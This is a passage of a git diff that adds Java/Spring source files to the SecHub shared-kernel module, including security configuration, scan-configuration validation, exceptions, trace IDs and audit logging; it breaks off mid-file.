    will be tried by asciidoctor + * generator as an include of this file instead of just inserting it! + * @return description text or filename or an empty string when not defined + */ + String description() default ""; + + /** + * Name for this step + * @return + */ + String name(); + + /** + * A description about the need of REST documentation for this step. By this information an automated scan for missing REST doc parts can be done!

    + * Please do not use it with false, because this is the default, by having only references having this enabled it is very easy to find the restdoc parts in code + * by searchin references with your IDE... + * @return true when for this step a rest documentation is necessary + */ + boolean needsRestDoc() default false; +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java new file mode 100644 index 0000000000..64eac9c17f --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +/** + * Abstract base class for trace log id generation. The implementations just + * have to provide a UUID usable for trace logging
    + * Important: You should use log.isXYZenabled() to reduce string creation + * when not needed + * + * @author Albert Tregnaghi + * + */ +public abstract class TraceLogID { + + private String asString; + + public TraceLogID(T source) { + this(source, null); + } + + public TraceLogID(T source, String postId) { + String postfix; + if (postId == null) { + postfix = "UID"; + } else { + postfix = postId; + } + String content; + try { + content = createContent(source); + } catch (Exception e) { + content = null; + } + asString = "__[SECHUB-" + postfix + ":" + content + "]__"; + } + + /** + * Creates content for ID + * + * @param source + * @return + * @throws Exception + */ + protected abstract String createContent(T source) throws Exception; + + @Override + public final String toString() { + return asString; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java new file mode 100644 index 0000000000..5c427651aa --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +import java.util.UUID; + +public class UUIDTraceLogID extends TraceLogID { + + public UUIDTraceLogID(UUID uuid) { + super(uuid); + } + + public static UUIDTraceLogID traceLogID(UUID uuid) { + return new UUIDTraceLogID(uuid); + } + + @Override + protected String createContent(UUID uuid) throws Exception { + if (uuid == null) { + return null; + } + return uuid.toString(); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UserContextService.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UserContextService.java new file mode 100644 index 0000000000..2efae176d1 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UserContextService.java @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +import java.util.Collection; + +import org.springframework.security.authentication.AnonymousAuthenticationToken; +import org.springframework.security.core.Authentication; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.context.SecurityContext; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.stereotype.Service; + +@Service +public class UserContextService { + + /** + * @return user id of current logged in user or null + */ + public String getUserId() { + Authentication authentication = getAuthentication(); + if (authentication==null) { + return null; + } + if (!(authentication instanceof AnonymousAuthenticationToken)) { + return authentication.getName(); + } + return null; + } + + public boolean isSuperAdmin() { + return hasRole(RoleConstants.ROLE_SUPERADMIN); + } + + public String getAuthories(){ + + StringBuilder sb = new StringBuilder(); + Authentication authentication = getAuthentication(); + Collection authorities = authentication.getAuthorities(); + for (GrantedAuthority auth : authorities) { + if (auth==null) { + continue; + } + sb.append(auth.getAuthority()); + sb.append(" "); + } + return sb.toString().trim(); + } + + private boolean hasRole(String role) { + if (role==null) { + return false; + } + Authentication authentication = getAuthentication(); + if (authentication==null) { + return false; + } + Collection authorities = authentication.getAuthorities(); + for (GrantedAuthority auth : authorities) { + if (auth==null) { + continue; + } + if (role.equals(auth.getAuthority())) { + return true; + } + } + return false; + } + + private Authentication getAuthentication() { + SecurityContext context = getContext(); + if (context==null) { + return null; + } + return getContext().getAuthentication(); + } + + private SecurityContext getContext() { + return SecurityContextHolder.getContext(); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/ClusterEnvironment.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/ClusterEnvironment.java new file mode 100644 index 0000000000..2a5df63177 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/ClusterEnvironment.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.cluster; + +/** + * Describes the environment where the spring boot application is running + * @author Albert Tregnaghi + * + */ +public class ClusterEnvironment { + + private POD pod; + + public ClusterEnvironment() { + this.pod=new POD(); + } + + /** + * When we are in kubernetes cluster this will contain POD information + * @return + */ + public POD getPod() { + return pod; + } + + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + sb.append("Environment:"); + sb.append(pod.toString()); + return sb.toString(); + } + +} + + diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/ClusterEnvironmentService.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/ClusterEnvironmentService.java new file mode 100644 index 0000000000..f9335d3b57 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/ClusterEnvironmentService.java @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.cluster; + +import org.springframework.stereotype.Service; + +@Service +public class ClusterEnvironmentService { + + private ClusterEnvironment environment; + + /** + * @return an environment instance + */ + public ClusterEnvironment getEnvironment() { + if (environment==null) { + environment=new ClusterEnvironment(); + } + return environment; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/POD.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/POD.java new file mode 100644 index 0000000000..23f88ac508 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/cluster/POD.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.cluster; +import static java.lang.System.*; +/** + * POD information. Uses environment entries provided by downward api.

    This must be exposed in kubernetes templates!

    + * See downward api documentation + * or Stackoverflow entry + * for more information + * @author Albert Tregnaghi + * + */ +public class POD { + + private String name; + private String namespace; + private String podInfo; + + + public POD() { + this(getenv("SECHUB_CLUSTER_POD_NAME"),getenv("SECHUB_CLUSTER_POD_NAMESPACE")); + } + + POD(String name, String namespace){ + this.name = dropPODMetaInfo(name); + this.namespace = dropPODMetaInfo(namespace); + createPodInfo(); + } + + private void createPodInfo() { + podInfo="POD:name="+name+",namespace="+namespace; + } + + public String getName() { + return name; + } + + public String getNamespace() { + return namespace; + } + + + @Override + public String toString() { + return podInfo; + } + + public String dropPODMetaInfo(String data) { + if (data==null) { + return null; + } + int index = data.indexOf('('); + if (index==-1) { + return data; + } + return data.substring(0, index).trim(); + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/AbstractAllowSecHubAPISecurityConfiguration.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/AbstractAllowSecHubAPISecurityConfiguration.java new file mode 100644 index 0000000000..a302bf617d --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/AbstractAllowSecHubAPISecurityConfiguration.java @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import static com.daimler.sechub.sharedkernel.RoleConstants.*; + +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.config.http.SessionCreationPolicy; + +import com.daimler.sechub.sharedkernel.APIConstants; + +/** + * A base class for web security having access to "/api/**" when being a user or + * super admin
    + *
    + * Defaults: + *
      + *
    • CSRF is disabled
    • + *
    • HTTP basic enabled
    • + *
    • api/anonymous is available also when not authenticated
    • + *
    • api/user is available when authenticated and role user
    • + *
    • api/project is available when authenticated and role user
    • + *
    • api/admin is available when authenticated and role superadmin
    • + *
    + * + */ +public abstract class AbstractAllowSecHubAPISecurityConfiguration extends WebSecurityConfigurerAdapter { + // https://spring.io/blog/2017/09/15/security-changes-in-spring-boot-2-0-m4 + // https://docs.spring.io/spring-security/site/docs/current/reference/htmlsingle/#core-services-password-encoding + + @Override + protected void configure(HttpSecurity http) throws Exception { + /* @formatter:off */ + http. + sessionManagement(). + sessionCreationPolicy(SessionCreationPolicy.STATELESS). + and(). + authorizeRequests(). + antMatchers(APIConstants.API_ADMINISTRATION+"**"). + hasAnyAuthority(ROLE_SUPERADMIN). + + antMatchers(APIConstants.API_USER+"**"). + hasAnyAuthority(ROLE_USER, ROLE_SUPERADMIN). + + antMatchers(APIConstants.API_PROJECT+"**"). + hasAnyAuthority(ROLE_USER, ROLE_SUPERADMIN). + + antMatchers(APIConstants.API_OWNER+"**"). + hasAnyAuthority(ROLE_OWNER, ROLE_SUPERADMIN). + + antMatchers(APIConstants.API_ANONYMOUS+"**"). + permitAll(). + /* to prevent configuration failures - I had this issue before - + * all other matchers do deny all. So if not correct + * configured nobody has access - please keep the denyAll parts + */ + antMatchers("/**"). + denyAll(). + + and(). + csrf(). + disable(). /* disable CSRF for api so we have no CSRF-TOKEN problems - POST would not work*/ + httpBasic();/* no login screen, just basic auth */ + + /* @formatter:on */ + } + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/InvalidSecHubConfigurationException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/InvalidSecHubConfigurationException.java new file mode 100644 index 0000000000..70700dbd94 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/InvalidSecHubConfigurationException.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.ResponseStatus; + +@ResponseStatus(HttpStatus.NOT_ACCEPTABLE) +public class InvalidSecHubConfigurationException extends RuntimeException { + + private static final long serialVersionUID = 765872519353527865L; + + public InvalidSecHubConfigurationException(String message) { + super(message); + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubCodeScanConfiguration.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubCodeScanConfiguration.java new file mode 100644 index 0000000000..b3b0c98beb --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubCodeScanConfiguration.java @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import java.util.Optional; + +public class SecHubCodeScanConfiguration { + + public static final String PROPERTY_FILESYSTEM="fileSystem"; + + private Optional fileSystem= Optional.empty(); + + public void setFileSystem(SecHubFileSystemConfiguration fileSystem) { + this.fileSystem = Optional.ofNullable(fileSystem); + } + + public Optional getFileSystem() { + return fileSystem; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfiguration.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfiguration.java new file mode 100644 index 0000000000..b4f6af77fe --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfiguration.java @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import java.util.Optional; + +import com.daimler.sechub.sharedkernel.MustBeKeptStable; +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; + +/** + * Be aware to add only parts into this class and do NOT remove properties being + * still in PROD! (E.g. API V1 stills supported has field "ugly" and API V2 does + * not support it, but API V1 is still in use... and supported) If you dont + * support a field in a special API variant you should trigger an error in + * validation! + * + * @author Albert Tregnaghi + * + */ +@JsonIgnoreProperties(ignoreUnknown = true) // we do ignore to avoid problems from wrong configured values! +@MustBeKeptStable("This configuration is used by users to schedule a job. It has to be backward compatible. To afford this we will NOT remove older parts since final API releases") +public class SecHubConfiguration implements JSONable { + + /** + * Just an reusable instance for JSON from calls - so we do not need to create + * always an empty object + */ + public static final SecHubConfiguration OBJECT = new SecHubConfiguration(); + + public static final String PROPERTY_PROJECT_ID = "projectId"; + public static final String PROPERTY_API_VERSION = "apiVersion"; + public static final String PROPERTY_WEB_SCAN = "webScan"; + public static final String PROPERTY_INFRA_SCAN = "infraScan"; + public static final String PROPERTY_CODE_SCAN = "codeScan"; + + private Optional webScan = Optional.empty(); + private Optional infraScan = Optional.empty(); + private Optional codeScan = Optional.empty(); + + private String apiVersion; + + private String projectId; + + public void setProjectId(String projectId) { + this.projectId = projectId; + } + + public String getProjectId() { + return projectId; + } + + public void setApiVersion(String apiVersion) { + this.apiVersion = apiVersion; + } + + public String getApiVersion() { + return apiVersion; + } + + public void setWebScan(SecHubWebScanConfiguration webScan) { + this.webScan = Optional.ofNullable(webScan); + } + + public Optional getWebScan() { + return webScan; + } + + public void setCodeScan(SecHubCodeScanConfiguration codeScan) { + this.codeScan = Optional.ofNullable(codeScan); + } + + public Optional getCodeScan() { + return codeScan; + } + + public void setInfraScan(SecHubInfrastructureScanConfiguration infraStructureScan) { + this.infraScan = Optional.ofNullable(infraStructureScan); + } + + public Optional getInfraScan() { + return infraScan; + } + + @Override + public Class getJSONTargetClass() { + return SecHubConfiguration.class; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationValidator.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationValidator.java new file mode 100644 index 0000000000..84476be01b --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationValidator.java @@ -0,0 +1,77 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import static com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration.*; + +import java.net.URI; +import java.util.List; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.validation.Errors; +import org.springframework.validation.ValidationUtils; +import org.springframework.validation.Validator; + +import com.daimler.sechub.sharedkernel.validation.ApiVersionValidation; +import com.daimler.sechub.sharedkernel.validation.ValidationResult; + +@Component +public class SecHubConfigurationValidator implements Validator { + + private static final Logger LOG = LoggerFactory.getLogger(SecHubConfigurationValidator.class); + + @Autowired + ApiVersionValidation apiValidation; + + @Override + public boolean supports(Class clazz) { + return SecHubConfiguration.class.isAssignableFrom(clazz); + } + + @Override + public void validate(Object target, Errors errors) { + LOG.debug("Start validation for: {}", target); + + ValidationUtils.rejectIfEmptyOrWhitespace(errors, PROPERTY_API_VERSION, "field.required"); + + SecHubConfiguration configuration = (SecHubConfiguration) target; + String apiVersion = configuration.getApiVersion(); + ValidationResult apiValidationResult = apiValidation.validate(apiVersion); + if (!apiValidationResult.isValid()) { + errors.rejectValue(PROPERTY_API_VERSION, "api.error.unsupported.version", + apiValidationResult.getErrorDescription()); + return; + } + Optional webscanOption = configuration.getWebScan(); + if (webscanOption.isPresent()) { + SecHubWebScanConfiguration webscan = webscanOption.get(); + List uris = webscan.getUris(); + for (URI uri: uris) { + String schema = uri.getScheme(); + if ("http".equals(schema)|| "https".equals(schema)) { + continue; + } + errors.reject("api.error.webscan.uri.illegalschema", new Object[] {uri}, "Webscan configuration contains uri '{0}' which is not of supported protocolls (http,https)"); + } + } + if (!hasAtLeastOneScanConfiguration(configuration)) { + errors.reject("api.error.config.noscan.defined", "There is not any scan option given, so cannot start scan!"); + } + + } + + private boolean hasAtLeastOneScanConfiguration(SecHubConfiguration configuration) { + boolean atLeastOne=false; + if (configuration!=null) { + atLeastOne = atLeastOne || configuration.getCodeScan().isPresent(); /*NOSONAR*/ + atLeastOne = atLeastOne || configuration.getInfraScan().isPresent(); + atLeastOne = atLeastOne || configuration.getWebScan().isPresent(); + } + return atLeastOne; + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubFileSystemConfiguration.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubFileSystemConfiguration.java new file mode 100644 index 0000000000..15d5117a5c --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubFileSystemConfiguration.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import java.util.ArrayList; +import java.util.List; + +public class SecHubFileSystemConfiguration { + + public static final String PROPERTY_FOLDERS = "folders"; + + private List folders = new ArrayList<>(); + + public List getFolders() { + return folders; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubInfrastructureScanConfiguration.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubInfrastructureScanConfiguration.java new file mode 100644 index 0000000000..a636b004ab --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubInfrastructureScanConfiguration.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import java.net.InetAddress; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +public class SecHubInfrastructureScanConfiguration { + + public static final String PROPERTY_URIS="uris"; + public static final String PROPERTY_IPS="ips"; + + private List uris= new ArrayList<>(); + private List ips= new ArrayList<>(); + + public List getUris() { + return uris; + } + + public List getIps() { + return ips; + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubWebScanConfiguration.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubWebScanConfiguration.java new file mode 100644 index 0000000000..7dc037afc0 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/SecHubWebScanConfiguration.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +public class SecHubWebScanConfiguration { + + public static final String PROPERTY_URIS="uris"; + + private List uris= new ArrayList<>(); + + public List getUris() { + return uris; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/AlreadyExistsException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/AlreadyExistsException.java new file mode 100644 index 0000000000..a5ea4ecfb6 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/AlreadyExistsException.java @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.error; + +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.ResponseStatus; + +@ResponseStatus(HttpStatus.NOT_ACCEPTABLE) +public class AlreadyExistsException extends RuntimeException { + + private static final long serialVersionUID = 9184322887033026055L; + + public AlreadyExistsException() { + this("Object does already exist"); + } + + public AlreadyExistsException(String message) { + super(message); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotAcceptableException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotAcceptableException.java new file mode 100644 index 0000000000..f12fd90c11 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotAcceptableException.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.error; + +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.ResponseStatus; + +@ResponseStatus(HttpStatus.NOT_ACCEPTABLE) +public class NotAcceptableException extends RuntimeException { + + private static final long serialVersionUID = 5454520580803371252L; + + public NotAcceptableException(String message) { + super(message); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotAuthorizedException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotAuthorizedException.java new file mode 100644 index 0000000000..30d575bdc1 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotAuthorizedException.java @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.error; + +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.ResponseStatus; + +@ResponseStatus(HttpStatus.UNAUTHORIZED) +public class NotAuthorizedException extends RuntimeException { + + private static final long serialVersionUID = 5454520580803371252L; + + public NotAuthorizedException() { + this("You do not have the authorization for this!"); + } + + public NotAuthorizedException(String message) { + super(message); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotFoundException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotFoundException.java new file mode 100644 index 0000000000..486d60e9b9 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/error/NotFoundException.java @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.error; + +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.ResponseStatus; + +@ResponseStatus(HttpStatus.NOT_FOUND) +public class NotFoundException extends RuntimeException { + + private static final long serialVersionUID = 9184322887033026055L; + + public NotFoundException() { + this("The wanted object was not found!"); + } + + public NotFoundException(String message) { + super(message); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionContext.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionContext.java new file mode 100644 index 0000000000..502560ba06 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionContext.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.execution; + +import java.util.UUID; + +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; + +/** + * Execution context with scope of SecHub, means knows {@link SecHubJob} ID and + * {@link SecHubConfiguration} + * + * @author Albert Tregnaghi + * + */ +public class SecHubExecutionContext { + + private UUID sechubJobUUID; + private SecHubConfiguration configuration; + private UUIDTraceLogID traceLogId; + private String executedBy; + + public SecHubExecutionContext(UUID sechubJobUUID, SecHubConfiguration configuration, String executedBy) { + this.sechubJobUUID = sechubJobUUID; + this.configuration = configuration; + this.executedBy=executedBy; + this.traceLogId=UUIDTraceLogID.traceLogID(sechubJobUUID); + } + + public String getExecutedBy() { + return executedBy; + } + + public UUID getSechubJobUUID() { + return sechubJobUUID; + } + + public SecHubConfiguration getConfiguration() { + return configuration; + } + + public UUIDTraceLogID getTraceLogId() { + return traceLogId; + } + + public String getTraceLogIdAsString() { + return traceLogId.toString(); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionException.java new file mode 100644 index 0000000000..886fcd8051 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionException.java @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.execution; + +public class SecHubExecutionException extends Exception { + + private static final long serialVersionUID = 8598361450155972170L; + + public SecHubExecutionException(String message, Throwable cause) { + super(message, cause); + } + + public SecHubExecutionException(String message) { + super(message); + } + + /** + * Throws given exception as SECHUB execution exception. If the exception is + * already a SECHUB execution exception the origin SECHUB exception will be + * thrown (the given message will be ignored then) + * + * @param message + * @param e + * @throws SecHubExecutionException + */ + public static void throwAsSecHubExecutionException(String message, Exception e) throws SecHubExecutionException { + if (e instanceof SecHubExecutionException) { + throw (SecHubExecutionException) e; + } else { + throw new SecHubExecutionException(message, e); + } + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutor.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutor.java new file mode 100644 index 0000000000..1e8558b7df --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutor.java @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.execution; + +/** + * Execute something for sechub + * @author Albert Tregnaghi + * + * @param + */ +public interface SecHubExecutor { + + /** + * Execute within SecHub execution context + * + * @param context + * @return result, or null when execution was not possible + * @throws SecHubExecutionException + * when any problems occuring + */ + public T execute(SecHubExecutionContext context) throws SecHubExecutionException; +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupport.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupport.java new file mode 100644 index 0000000000..319122fcf3 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupport.java @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.jpa; + +import java.util.Optional; + +import javax.persistence.NoResultException; +import javax.persistence.Query; + +public class TypedQuerySupport { + private Class clazz; + + public TypedQuerySupport(Class clazz) { + if (clazz == null) { + throw new IllegalArgumentException("clazz may not be null!"); + } + this.clazz = clazz; + } + + /** + * @param query + * @return optional single result + * @throws IllegalStateException + * if the query does not return expected type or null but another + * one! + */ + public Optional getSingleResultAsOptional(Query query) { + return Optional.ofNullable(getSingleResultOrNull(query)); + } + + /** + * @param query + * @return single result or null + * @throws IllegalStateException + * if the query does not return expected type or null but another + * one! + */ + @SuppressWarnings("unchecked") + public T getSingleResultOrNull(Query query) { + Object result = null; + try { + result = query.getSingleResult(); + } catch (NoResultException e) { + /* ignore, can happen */ + } + if (result == null) { + return null; + } + if (clazz.isAssignableFrom(result.getClass())) { + return (T) result; + } + throw new IllegalStateException( + "The given query returns not expected type:" + clazz + " but " + result.getClass()); + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/jpa/UriPersistenceConverter.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/jpa/UriPersistenceConverter.java new file mode 100644 index 0000000000..2861a3a1e5 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/jpa/UriPersistenceConverter.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.jpa; + +import java.net.URI; + +import javax.persistence.AttributeConverter; +import javax.persistence.Converter; + +import org.springframework.util.StringUtils; + +@Converter(autoApply = true) +public class UriPersistenceConverter implements AttributeConverter { + + @Override + public String convertToDatabaseColumn(URI entityValue) { + return (entityValue == null) ? null : entityValue.toString(); + } + + @Override + public URI convertToEntityAttribute(String databaseValue) { + return (StringUtils.hasLength(databaseValue) ? URI.create(databaseValue.trim()) : null); + } +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/AuditLogService.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/AuditLogService.java new file mode 100644 index 0000000000..080a647b89 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/AuditLogService.java @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.logging; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.UserContextService; + +@Service +public class AuditLogService { + + @Autowired + UserContextService userContextService; + + private static final Logger LOG = LoggerFactory.getLogger(AuditLogService.class); + + private static String AUDIT = "[AUDIT]"; + private static String AUDIT_USERNAME = AUDIT+" ({}) :"; + + + /** + * Logs an audit log entry. Will always contain user id at the beginning, followed by given message + * @param message + * @param objects + */ + public void log(String message, Object ...objects ) { + String userId = userContextService.getUserId(); + + /* convert this to a new list, otherweise slf4j becomes problems with identifying this as list and having wrong output*/ + List list = new ArrayList<>(); + list.add(userId); + list.addAll(Arrays.asList(objects)); + + LOG.info(AUDIT_USERNAME+message, list.toArray()); + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/SecurityLogService.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/SecurityLogService.java new file mode 100644 index 0000000000..8d53474972 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/SecurityLogService.java @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.logging; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.UserContextService; + +@Service +public class SecurityLogService { + + @Autowired + UserContextService userContextService; + + private static final Logger LOG = 